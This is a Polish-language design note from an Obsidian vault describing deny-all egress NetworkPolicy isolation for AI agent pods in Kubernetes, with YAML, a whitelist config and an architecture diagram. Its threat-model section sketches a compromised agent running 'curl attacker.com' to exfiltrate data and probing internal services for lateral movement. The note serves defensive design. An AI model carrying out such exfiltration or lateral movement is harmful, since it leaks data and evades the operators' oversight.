Files
obsidian-sympozium/05-Bezpieczeństwo/NetworkPolicy i izolacja sieciowa.md
2026-03-25 00:05:57 +01:00

77 lines
2.2 KiB
Markdown

# NetworkPolicy i izolacja sieciowa
#sympozium #security #network
## Zasada
Agent pods mają **deny-all egress** - nie mogą komunikować się z internetem ani innymi podami. Jedyny punkt kontaktu to IPC Bridge sidecar → NATS.
## Implementacja
```yaml
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: agent-deny-all
spec:
podSelector:
matchLabels:
sympozium.ai/component: agent
policyTypes:
- Egress
egress: [] # DENY ALL
```
## Wyjątki (via SympoziumPolicy)
```yaml
networkPolicy:
denyAll: true
allowDNS: true # Agent może rozwiązywać nazwy
allowEventBus: true # IPC Bridge → NATS
allowedEgress: # Whitelist
- host: "api.openai.com"
port: 443
```
## Dlaczego to ważne?
### Scenariusz ataku bez NetworkPolicy:
```
Compromised agent → curl attacker.com → exfiltrate data
Compromised agent → curl internal-api.svc → lateral movement
```
### Z NetworkPolicy:
```
Compromised agent → curl anything → BLOCKED
Agent → /ipc/*.json → IPC Bridge → NATS → Controller (kontrolowany przepływ)
```
## Architektura izolacji
```
┌─────────────────────────────────────────┐
│ Agent Pod (deny-all egress) │
│ │
│ ┌──────────┐ ┌──────────────┐ │
│ │ Agent │ │ IPC Bridge │→→→ NATS │
│ │ (no net)│ │ (has net) │ │
│ └──────────┘ └──────────────┘ │
│ │ │
│ └── /ipc/ (filesystem only) ──────┘│
└──────────────────────────────────────────┘
```
Agent kontener:
- Brak dostępu sieciowego
- Komunikacja tylko przez filesystem (/ipc/)
IPC Bridge sidecar:
- Ma dostęp TYLKO do NATS
- Bridguje filesystem → NATS
---
Powiązane: [[Model bezpieczeństwa Defence-in-Depth]] | [[Przepływ danych i IPC]] | [[SympoziumPolicy]]